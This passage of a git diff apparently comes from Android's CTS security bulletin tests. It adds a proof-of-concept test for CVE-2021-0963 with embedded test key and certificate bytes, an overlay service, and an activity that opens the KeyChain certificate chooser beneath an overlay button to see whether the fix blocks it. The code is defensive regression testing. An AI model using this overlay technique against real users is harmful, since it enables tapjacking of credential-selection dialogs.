+                    (byte) 0xef, (byte) 0xc4, (byte) 0x7d, (byte) 0x69, (byte) 0x7b, (byte) 0xcb,
+                    (byte) 0xcb, (byte) 0xf7, (byte) 0x00, (byte) 0x2d, (byte) 0x05, (byte) 0x3c,
+                    (byte) 0xe4, (byte) 0xfd, (byte) 0x5c, (byte) 0xea, (byte) 0xcf, (byte) 0x40,
+                    (byte) 0x84, (byte) 0x10, (byte) 0xf1, (byte) 0xc0, (byte) 0xaf, (byte) 0xc7,
+                    (byte) 0xc8, (byte) 0x51, (byte) 0xac, (byte) 0x18, (byte) 0x25, (byte) 0x63,
+                    (byte) 0x75, (byte) 0xc7, (byte) 0x0e, (byte) 0xa9, (byte) 0xed, (byte) 0x9c,
+                    (byte) 0x78, (byte) 0x08, (byte) 0x28, (byte) 0x1d, (byte) 0x9e, (byte) 0xfa,
+                    (byte) 0x17, (byte) 0x0f, (byte) 0x7a, (byte) 0x6a, (byte) 0x78, (byte) 0x63,
+                    (byte) 0x6e, (byte) 0xb3, (byte) 0x6b, (byte) 0xd6, (byte) 0x43, (byte) 0x4b,
+                    (byte) 0x58, (byte) 0xb8, (byte) 0x77, (byte) 0x10, (byte) 0x07, (byte) 0x70,
+                    (byte) 0xa6, (byte) 0xa9, (byte) 0xae, (byte) 0x0d, (byte) 0x02, (byte) 0x41,
+                    (byte) 0x00, (byte) 0x92, (byte) 0x4c, (byte) 0x79, (byte) 0x0b, (byte) 0x95,
+                    (byte) 0xc5, (byte) 0x18, (byte) 0xf4, (byte) 0x90, (byte) 0x40, (byte) 0x8c,
+                    (byte) 0x15, (byte) 0x96, (byte) 0x69, (byte) 0x2a, (byte) 0xe7, (byte) 0x8b,
+                    (byte) 0x8b, (byte) 0xd7, (byte) 0x76, (byte) 0x00, (byte) 0x7c, (byte) 0xd1,
+                    (byte) 0xda, (byte) 0xb9, (byte) 0x9e, (byte) 0x9e, (byte) 0x5e, (byte) 0x66,
+                    (byte) 0xbb, (byte) 0x05, (byte) 0x41, (byte) 0x43, (byte) 0x9a, (byte) 0x67,
+                    (byte) 0x16, (byte) 0x89, (byte) 0xec, (byte) 0x65, (byte) 0x33, (byte) 0xee,
+                    (byte) 0xbf, (byte) 0xa3, (byte) 0xca, (byte) 0x8b, (byte) 0xd6, (byte) 0x45,
+                    (byte) 0xe1, (byte) 0x81, (byte) 0xaa, (byte) 0xd8, (byte) 0xa2, (byte) 0x6a,
+                    (byte) 0x3c, (byte) 0x5e, (byte) 0x7e, (byte) 0x1c, (byte) 0xa5, (byte) 0xc3,
+                    (byte) 0x5b, (byte) 0x93, (byte) 0x8c, (byte) 0x24, (byte) 0x57, (byte) 0x02,
+                    (byte) 0x40, (byte) 0x0a, (byte) 0x6d, (byte) 0x3f, (byte) 0x0e, (byte) 0xf1,
+                    (byte) 0x45, (byte) 0x41, (byte) 0x8f, (byte) 0x72, (byte) 0x40, (byte) 0x82,
+                    (byte) 0xf3, (byte) 0xcc, (byte) 0xf9, (byte) 0x7f, (byte) 0xaa, (byte) 0xee,
+                    (byte) 0x6c, (byte) 0x5d, (byte) 0xd1, (byte) 0xe6, (byte) 0xd1, (byte) 0x7c,
+                    (byte) 0x53, (byte) 0x71, (byte) 0xd0, (byte) 0xab, (byte) 0x6d, (byte) 0x39,
+                    (byte) 0x63, (byte) 0x03, (byte) 0xe2, (byte) 0x2e, (byte) 0x2f, (byte) 0x11,
+                    (byte) 0x98, (byte) 0x36, (byte) 0x58, (byte) 0x14, (byte) 0x76, (byte) 0x85,
+                    (byte) 0x4d, (byte) 0x56, (byte) 0xe7, (byte) 0x63, (byte) 0x69, (byte) 0x71,
+                    (byte) 0xe6, (byte) 0xd1, (byte) 0x0f, (byte) 0x98, (byte) 0x66, (byte) 0xee,
+                    (byte) 0xf2, (byte) 0x3d, (byte) 0xdf, (byte) 0x77, (byte) 0xbe, (byte) 0x08,
+                    (byte) 0xb4, (byte) 0xcb, (byte) 0x6a, (byte) 0xa1, (byte) 0x99, (byte) 0x02,
+                    (byte) 0x40, (byte) 0x52, (byte) 0x01, (byte) 0xde, (byte) 0x62, (byte) 0xc2,
+                    (byte) 0x25, (byte) 0xbf, (byte) 0x5d, (byte) 0x77, (byte) 0xe4, (byte) 0x6b,
+                    (byte) 0xb6, (byte) 0xd7, (byte) 0x8f, (byte) 0x89, (byte) 0x2c, (byte) 0xe6,
+                    (byte) 0x8d, (byte) 0xe5, (byte) 0xad, (byte) 0x39, (byte) 0x17, (byte) 0x54,
+                    (byte) 0x2b, (byte) 0x35, (byte) 0x53, (byte) 0xd1, (byte) 0xa1, (byte) 0xef,
+                    (byte) 0x48, (byte) 0xbc, (byte) 0x95, (byte) 0x48, (byte) 0xcf, (byte) 0x62,
+                    (byte) 0xf4, (byte) 0x33, (byte) 0xcf, (byte) 0x37, (byte) 0x78, (byte) 0xeb,
+                    (byte) 0x17, (byte) 0xb4, (byte) 0x0b, (byte) 0x83, (byte) 0x4f, (byte) 0xb6,
+                    (byte) 0xab, (byte) 0x7d, (byte) 0x67, (byte) 0x3e, (byte) 0x4e, (byte) 0x44,
+                    (byte) 0x4a, (byte) 0x55, (byte) 0x2e, (byte) 0x34, (byte) 0x12, (byte) 0x0b,
+                    (byte) 0x59, (byte) 0xb3, (byte) 0xb1, (byte) 0x1e, (byte) 0x3d};
+
+
+    /**
+     * Generated from above and converted with:
+     *
+     * openssl x509 -outform d -in usercert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
+     */
+    private static final byte[] USER_CERT =
+            {(byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0xd8, (byte) 0x30, (byte) 0x82,
+                    (byte) 0x01, (byte) 0xc0, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
+                    (byte) 0x02, (byte) 0x02, (byte) 0x01, (byte) 0x01, (byte) 0x30, (byte) 0x0d,
+                    (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86,
+                    (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x0b, (byte) 0x05,
+                    (byte) 0x00, (byte) 0x30, (byte) 0x33, (byte) 0x31, (byte) 0x0b, (byte) 0x30,
+                    (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06,
+                    (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55, (byte) 0x31, (byte) 0x13,
+                    (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+                    (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53, (byte) 0x6f, (byte) 0x6d,
+                    (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74, (byte) 0x61, (byte) 0x74,
+                    (byte) 0x65, (byte) 0x31, (byte) 0x0f, (byte) 0x30, (byte) 0x0d, (byte) 0x06,
+                    (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x06,
+                    (byte) 0x47, (byte) 0x6f, (byte) 0x6f, (byte) 0x67, (byte) 0x6c, (byte) 0x65,
+                    (byte) 0x30, (byte) 0x1e, (byte) 0x17, (byte) 0x0d, (byte) 0x32, (byte) 0x32,
+                    (byte) 0x30, (byte) 0x33, (byte) 0x32, (byte) 0x35, (byte) 0x30, (byte) 0x37,
+                    (byte) 0x32, (byte) 0x30, (byte) 0x31, (byte) 0x32, (byte) 0x5a, (byte) 0x17,
+                    (byte) 0x0d, (byte) 0x33, (byte) 0x32, (byte) 0x30, (byte) 0x33, (byte) 0x32,
+                    (byte) 0x32, (byte) 0x30, (byte) 0x37, (byte) 0x32, (byte) 0x30, (byte) 0x31,
+                    (byte) 0x32, (byte) 0x5a, (byte) 0x30, (byte) 0x33, (byte) 0x31, (byte) 0x0b,
+                    (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+                    (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55, (byte) 0x31,
+                    (byte) 0x13, (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+                    (byte) 0x04, (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53, (byte) 0x6f,
+                    (byte) 0x6d, (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74, (byte) 0x61,
+                    (byte) 0x74, (byte) 0x65, (byte) 0x31, (byte) 0x0f, (byte) 0x30, (byte) 0x0d,
+                    (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x0c,
+                    (byte) 0x06, (byte) 0x47, (byte) 0x6f, (byte) 0x6f, (byte) 0x67, (byte) 0x6c,
+                    (byte) 0x65, (byte) 0x30, (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d,
+                    (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86,
+                    (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05,
+                    (byte) 0x00, (byte) 0x03, (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30,
+                    (byte) 0x81, (byte) 0x89, (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00,
+                    (byte) 0xee, (byte) 0x6e, (byte) 0x51, (byte) 0xa8, (byte) 0xc4, (byte) 0x44,
+                    (byte) 0xd9, (byte) 0xb7, (byte) 0x53, (byte) 0xf1, (byte) 0xb9, (byte) 0x1b,
+                    (byte) 0x9d, (byte) 0x8d, (byte) 0x7c, (byte) 0x9f, (byte) 0x06, (byte) 0xe7,
+                    (byte) 0xed, (byte) 0xa8, (byte) 0x05, (byte) 0xb8, (byte) 0xaa, (byte) 0x0a,
+                    (byte) 0x2d, (byte) 0x74, (byte) 0x05, (byte) 0x8b, (byte) 0xad, (byte) 0xfe,
+                    (byte) 0xd3, (byte) 0x3e, (byte) 0x08, (byte) 0x9d, (byte) 0xc9, (byte) 0xf5,
+                    (byte) 0xf7, (byte) 0x81, (byte) 0x90, (byte) 0xf1, (byte) 0xcc, (byte) 0x3f,
+                    (byte) 0x91, (byte) 0xda, (byte) 0xcb, (byte) 0x67, (byte) 0x6a, (byte) 0xe8,
+                    (byte) 0x4a, (byte) 0xa0, (byte) 0xc3, (byte) 0x8a, (byte) 0x53, (byte) 0xd9,
+                    (byte) 0xf0, (byte) 0x17, (byte) 0xbe, (byte) 0x90, (byte) 0xbb, (byte) 0x95,
+                    (byte) 0x29, (byte) 0x01, (byte) 0xce, (byte) 0x32, (byte) 0xce, (byte) 0xf8,
+                    (byte) 0x02, (byte) 0xfe, (byte) 0xe8, (byte) 0x19, (byte) 0x91, (byte) 0x29,
+                    (byte) 0x46, (byte) 0xf7, (byte) 0x67, (byte) 0xd1, (byte) 0xcb, (byte) 0xa7,
+                    (byte) 0x20, (byte) 0x8b, (byte) 0x85, (byte) 0x8a, (byte) 0x0c, (byte) 0x07,
+                    (byte) 0xf8, (byte) 0xfe, (byte) 0xf4, (byte) 0x5d, (byte) 0x08, (byte) 0xf4,
+                    (byte) 0x63, (byte) 0x4a, (byte) 0x69, (byte) 0x66, (byte) 0x28, (byte) 0xcb,
+                    (byte) 0x0d, (byte) 0x1c, (byte) 0x7f, (byte) 0x7f, (byte) 0x7e, (byte) 0x83,
+                    (byte) 0x49, (byte) 0x66, (byte) 0x6c, (byte) 0x83, (byte) 0x2d, (byte) 0xa0,
+                    (byte) 0x51, (byte) 0xf6, (byte) 0x14, (byte) 0x68, (byte) 0x47, (byte) 0x31,
+                    (byte) 0x72, (byte) 0x4d, (byte) 0xe9, (byte) 0x1e, (byte) 0x12, (byte) 0x1b,
+                    (byte) 0xd0, (byte) 0xe6, (byte) 0x21, (byte) 0xd8, (byte) 0x84, (byte) 0x5f,
+                    (byte) 0xe3, (byte) 0xef, (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00,
+                    (byte) 0x01, (byte) 0xa3, (byte) 0x7b, (byte) 0x30, (byte) 0x79, (byte) 0x30,
+                    (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x13,
+                    (byte) 0x04, (byte) 0x02, (byte) 0x30, (byte) 0x00, (byte) 0x30, (byte) 0x2c,
+                    (byte) 0x06, (byte) 0x09, (byte) 0x60, (byte) 0x86, (byte) 0x48, (byte) 0x01,
+                    (byte) 0x86, (byte) 0xf8, (byte) 0x42, (byte) 0x01, (byte) 0x0d, (byte) 0x04,
+                    (byte) 0x1f, (byte) 0x16, (byte) 0x1d, (byte) 0x4f, (byte) 0x70, (byte) 0x65,
+                    (byte) 0x6e, (byte) 0x53, (byte) 0x53, (byte) 0x4c, (byte) 0x20, (byte) 0x47,
+                    (byte) 0x65, (byte) 0x6e, (byte) 0x65, (byte) 0x72, (byte) 0x61, (byte) 0x74,
+                    (byte) 0x65, (byte) 0x64, (byte) 0x20, (byte) 0x43, (byte) 0x65, (byte) 0x72,
+                    (byte) 0x74, (byte) 0x69, (byte) 0x66, (byte) 0x69, (byte) 0x63, (byte) 0x61,
+                    (byte) 0x74, (byte) 0x65, (byte) 0x30, (byte) 0x1d, (byte) 0x06, (byte) 0x03,
+                    (byte) 0x55, (byte) 0x1d, (byte) 0x0e, (byte) 0x04, (byte) 0x16, (byte) 0x04,
+                    (byte) 0x14, (byte) 0xee, (byte) 0xec, (byte) 0x08, (byte) 0xcc, (byte) 0xdd,
+                    (byte) 0xa3, (byte) 0x29, (byte) 0x6e, (byte) 0x2b, (byte) 0x78, (byte) 0x23,
+                    (byte) 0xb3, (byte) 0xf0, (byte) 0xb8, (byte) 0x9d, (byte) 0x53, (byte) 0x41,
+                    (byte) 0x2e, (byte) 0x3c, (byte) 0x61, (byte) 0x30, (byte) 0x1f, (byte) 0x06,
+                    (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x23, (byte) 0x04, (byte) 0x18,
+                    (byte) 0x30, (byte) 0x16, (byte) 0x80, (byte) 0x14, (byte) 0x86, (byte) 0xdb,
+                    (byte) 0xa5, (byte) 0x5e, (byte) 0x0e, (byte) 0x03, (byte) 0xbc, (byte) 0xe4,
+                    (byte) 0xc1, (byte) 0xc8, (byte) 0xf3, (byte) 0xed, (byte) 0x24, (byte) 0x48,
+                    (byte) 0xb1, (byte) 0x37, (byte) 0x3a, (byte) 0x52, (byte) 0x10, (byte) 0x57,
+                    (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
+                    (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
+                    (byte) 0x0b, (byte) 0x05, (byte) 0x00, (byte) 0x03, (byte) 0x82, (byte) 0x01,
+                    (byte) 0x01, (byte) 0x00, (byte) 0x15, (byte) 0x5a, (byte) 0x5c, (byte) 0x08,
+                    (byte) 0xe4, (byte) 0x0e, (byte) 0x28, (byte) 0x4c, (byte) 0xa9, (byte) 0x0e,
+                    (byte) 0x35, (byte) 0xbe, (byte) 0xe3, (byte) 0xd5, (byte) 0xd1, (byte) 0xb4,
+                    (byte) 0x47, (byte) 0x87, (byte) 0x63, (byte) 0xd2, (byte) 0x5e, (byte) 0x7e,
+                    (byte) 0xf6, (byte) 0xd8, (byte) 0xce, (byte) 0xdf, (byte) 0x10, (byte) 0x15,
+                    (byte) 0x61, (byte) 0xc4, (byte) 0x9a, (byte) 0xf1, (byte) 0xba, (byte) 0x33,
+                    (byte) 0xf2, (byte) 0xc2, (byte) 0x01, (byte) 0x95, (byte) 0xa7, (byte) 0x74,
+                    (byte) 0x97, (byte) 0xc1, (byte) 0x43, (byte) 0x68, (byte) 0x92, (byte) 0xbe,
+                    (byte) 0x9a, (byte) 0x6f, (byte) 0x38, (byte) 0xcb, (byte) 0xa0, (byte) 0xcf,
+                    (byte) 0x1e, (byte) 0x5b, (byte) 0x03, (byte) 0xde, (byte) 0x45, (byte) 0x6d,
+                    (byte) 0xea, (byte) 0xf0, (byte) 0x46, (byte) 0x4d, (byte) 0xb6, (byte) 0x4b,
+                    (byte) 0x88, (byte) 0xc7, (byte) 0xb8, (byte) 0xe3, (byte) 0x9f, (byte) 0x58,
+                    (byte) 0x8b, (byte) 0x2d, (byte) 0xbf, (byte) 0x4b, (byte) 0x3f, (byte) 0x54,
+                    (byte) 0x2d, (byte) 0xa8, (byte) 0x27, (byte) 0x72, (byte) 0x5e, (byte) 0x36,
+                    (byte) 0x67, (byte) 0x5c, (byte) 0x6e, (byte) 0x9a, (byte) 0x67, (byte) 0x73,
+                    (byte) 0x44, (byte) 0xaf, (byte) 0x46, (byte) 0x7f, (byte) 0xd6, (byte) 0x2b,
+                    (byte) 0x9d, (byte) 0x28, (byte) 0xb1, (byte) 0xc4, (byte) 0xc4, (byte) 0x72,
+                    (byte) 0x3d, (byte) 0x6d, (byte) 0x7d, (byte) 0x28, (byte) 0x40, (byte) 0x62,
+                    (byte) 0x40, (byte) 0x21, (byte) 0x52, (byte) 0xb5, (byte) 0x0b, (byte) 0xf3,
+                    (byte) 0xcc, (byte) 0x36, (byte) 0x03, (byte) 0x10, (byte) 0x19, (byte) 0xe3,
+                    (byte) 0xc2, (byte) 0xfe, (byte) 0xe9, (byte) 0x08, (byte) 0x0d, (byte) 0xd4,
+                    (byte) 0x8b, (byte) 0x12, (byte) 0xd6, (byte) 0x3d, (byte) 0xc5, (byte) 0xb8,
+                    (byte) 0x8c, (byte) 0xbd, (byte) 0xa5, (byte) 0xcd, (byte) 0xb3, (byte) 0xe4,
+                    (byte) 0xd1, (byte) 0xd8, (byte) 0x4c, (byte) 0x32, (byte) 0x44, (byte) 0x3f,
+                    (byte) 0x63, (byte) 0x32, (byte) 0x09, (byte) 0xdb, (byte) 0x8b, (byte) 0x7b,
+                    (byte) 0x30, (byte) 0x58, (byte) 0xc7, (byte) 0xcf, (byte) 0xc3, (byte) 0x44,
+                    (byte) 0xd9, (byte) 0xff, (byte) 0x63, (byte) 0x91, (byte) 0x74, (byte) 0xd8,
+                    (byte) 0x62, (byte) 0x2b, (byte) 0x52, (byte) 0xc8, (byte) 0x82, (byte) 0x9f,
+                    (byte) 0xeb, (byte) 0x22, (byte) 0x5c, (byte) 0xa2, (byte) 0x26, (byte) 0xfe,
+                    (byte) 0x04, (byte) 0x31, (byte) 0x53, (byte) 0x09, (byte) 0xa7, (byte) 0x23,
+                    (byte) 0xe3, (byte) 0x0f, (byte) 0xf8, (byte) 0xe9, (byte) 0x99, (byte) 0xad,
+                    (byte) 0x4b, (byte) 0x23, (byte) 0x07, (byte) 0xfb, (byte) 0xfa, (byte) 0xc3,
+                    (byte) 0x55, (byte) 0x59, (byte) 0xdb, (byte) 0x6b, (byte) 0x71, (byte) 0xdf,
+                    (byte) 0x25, (byte) 0x0f, (byte) 0xaa, (byte) 0xa2, (byte) 0xfa, (byte) 0x28,
+                    (byte) 0x49, (byte) 0x65, (byte) 0x7e, (byte) 0x0b, (byte) 0x74, (byte) 0x30,
+                    (byte) 0xd9, (byte) 0x9a, (byte) 0xfe, (byte) 0x2c, (byte) 0x8c, (byte) 0x67,
+                    (byte) 0x50, (byte) 0x0c, (byte) 0x6d, (byte) 0x4c, (byte) 0xba, (byte) 0x34,
+                    (byte) 0x3b, (byte) 0x0d, (byte) 0x16, (byte) 0x45, (byte) 0x63, (byte) 0x73,
+                    (byte) 0xc2, (byte) 0x9f, (byte) 0xb4, (byte) 0xdd, (byte) 0x6f, (byte) 0xde,
+                    (byte) 0x9d, (byte) 0x71, (byte) 0xbf, (byte) 0x8d, (byte) 0x1b, (byte) 0x79,
+                    (byte) 0xa0, (byte) 0x0a, (byte) 0x66, (byte) 0x7e, (byte) 0x56, (byte) 0x83,
+                    (byte) 0x8f, (byte) 0x3f, (byte) 0x7d, (byte) 0x93, (byte) 0xf6, (byte) 0xc9,
+                    (byte) 0x42, (byte) 0xfc, (byte) 0xc5, (byte) 0xf2, (byte) 0x49, (byte) 0xec};
+
+    @After
+    public void tearDown() {
+        try {
+            mDevicePolicyManager.removeKeyPair(mComponentName, mContext.getString(R.string.alias));
+            mDevicePolicyManager.clearDeviceOwnerApp(mContext.getPackageName());
+        } catch (Exception e) {
+            // ignore all exceptions as the test is already complete
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        try {
+            /* Install key pair required to launch KeyChainActivity dialog */
+            mContext = getInstrumentation().getContext();
+            Resources resources = mContext.getResources();
+            KeyFactory kf = KeyFactory.getInstance(mContext.getString(R.string.keyType));
+            PrivateKey privKey = kf.generatePrivate(new PKCS8EncodedKeySpec(PRIVATE_KEY));
+            CertificateFactory cf =
+                    CertificateFactory.getInstance(mContext.getString(R.string.certType));
+            Certificate cert = cf.generateCertificate(new ByteArrayInputStream(USER_CERT));
+            mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+            mComponentName = new ComponentName(PocDeviceAdminReceiver.class.getPackage().getName(),
+                    PocDeviceAdminReceiver.class.getName());
+            assumeTrue(mDevicePolicyManager.installKeyPair(mComponentName, privKey, cert,
+                    mContext.getString(R.string.alias)));
+
+            /* Start the overlay service */
+            Intent intent = new Intent(mContext, PocService.class);
+            assumeTrue(mContext.getString(R.string.canNotDrawOverlaysMsg),
+                    Settings.canDrawOverlays(mContext));
+            CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+            RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+                PocStatus pocStatus =
+                        new PocStatus(result.getInt(mContext.getString(R.string.statusKey)),
+                                result.getString(mContext.getString(R.string.messageKey)));
+                callbackReturn.complete(pocStatus);
+            });
+            intent.putExtra(mContext.getString(R.string.callbackKey), cb);
+            mContext.startService(intent);
+            PocStatus result = callbackReturn.get(resources.getInteger(R.integer.timeoutMs),
+                    TimeUnit.MILLISECONDS);
+            assumeTrue(result.getErrorMessage(),
+                    result.getStatusCode() != resources.getInteger(R.integer.assumptionFailure));
+
+            /* Wait for the overlay window */
+            Pattern overlayTextPattern = Pattern.compile(
+                    mContext.getString(R.string.overlayButtonText), Pattern.CASE_INSENSITIVE);
+            UiDevice device = UiDevice.getInstance(getInstrumentation());
+            assumeTrue(mContext.getString(R.string.overlayUiScreenError),
+                    device.wait(Until.hasObject(By.text(overlayTextPattern)),
+                            mContext.getResources().getInteger(R.integer.timeoutMs)));
+
+            /* Start PocActivity which starts the vulnerable activity */
+            intent = new Intent(mContext, PocActivity.class);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            CompletableFuture<PocStatus> pocActivityReturn = new CompletableFuture<>();
+            RemoteCallback pocActivityCb = new RemoteCallback((Bundle pocActivityResult) -> {
+                PocStatus pocStatus = new PocStatus(
+                        pocActivityResult.getInt(mContext.getString(R.string.statusKey)),
+                        pocActivityResult.getString(mContext.getString(R.string.messageKey)));
+                pocActivityReturn.complete(pocStatus);
+            });
+            intent.putExtra(mContext.getString(R.string.callbackKey), pocActivityCb);
+            mContext.startActivity(intent);
+            result = pocActivityReturn.get(resources.getInteger(R.integer.timeoutMs),
+                    TimeUnit.MILLISECONDS);
+            assumeTrue(result.getErrorMessage(),
+                    result.getStatusCode() != resources.getInteger(R.integer.assumptionFailure));
+
+            /* Get the vulnerable activity name by using an alternative intent */
+            Intent vulIntent = new Intent(mContext.getString(R.string.actionKeychainActivity));
+            ResolveInfo ri = mContext.getPackageManager().resolveActivity(vulIntent,
+                    PackageManager.MATCH_DEFAULT_ONLY);
+            String vulnerableActivityName = ri.activityInfo.name;
+
+            /* Wait until the object of launcher activity is gone */
+            boolean overlayDisallowed = device.wait(Until.gone(By.pkg(mContext.getPackageName())),
+                    mContext.getResources().getInteger(R.integer.timeoutMs));
+
+            /* Check if the currently running activity is the vulnerable activity */
+            String activityDump = "";
+            activityDump = device.executeShellCommand(
+                    mContext.getString(R.string.dumpsysActivity, vulnerableActivityName));
+            Pattern activityPattern = Pattern.compile(mContext.getString(R.string.mResumedTrue),
+                    Pattern.CASE_INSENSITIVE);
+            assumeTrue(
+                    mContext.getString(R.string.vulActivityNotRunningError, vulnerableActivityName),
+                    activityPattern.matcher(activityDump).find());
+
+            /* Failing the test as fix is not present */
+            assertTrue(mContext.getString(R.string.errorMessage, vulnerableActivityName),
+                    overlayDisallowed);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java
new file mode 100644
index 0000000..ac8ea15
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocActivity.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.security.KeyChain;
+import android.security.KeyChainAliasCallback;
+
+import androidx.annotation.Nullable;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+            KeyChainAliasCallback callback = new KeyChainAliasCallback() {
+                @Override
+                public void alias(@Nullable String alias) {}
+            };
+            KeyChain.choosePrivateKeyAlias(this, callback, null, null, null, -1, null);
+            sendTestResult(getResources().getInteger(R.integer.noException), "");
+        } catch (Exception e) {
+            sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
+        }
+    }
+
+    void sendTestResult(int status, String message) {
+        try {
+            RemoteCallback cb =
+                    (RemoteCallback) getIntent().getExtras().get(getString(R.string.callbackKey));
+            Bundle res = new Bundle();
+            res.putString(getString(R.string.messageKey), message);
+            res.putInt(getString(R.string.statusKey), status);
+            cb.sendResult(res);
+        } catch (Exception e) {
+            // ignore all exceptions
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
similarity index 79%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
index 1a335c7..5592323 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocDeviceAdminReceiver.java
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package android.security.cts.CVE_2021_0963;
 
-import android.app.Activity;
+import android.app.admin.DeviceAdminReceiver;
 
-public class PocActivity extends Activity {
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
 }
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java
new file mode 100644
index 0000000..b83e824
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/PocService.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+    Button mButton;
+    WindowManager mWindowManager;
+    LayoutParams mLayoutParams;
+    Intent mIntent;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        try {
+            mIntent = intent;
+            mWindowManager = getSystemService(WindowManager.class);
+            mLayoutParams = new LayoutParams();
+            mLayoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
+            mLayoutParams.flags = LayoutParams.FLAG_NOT_TOUCH_MODAL |
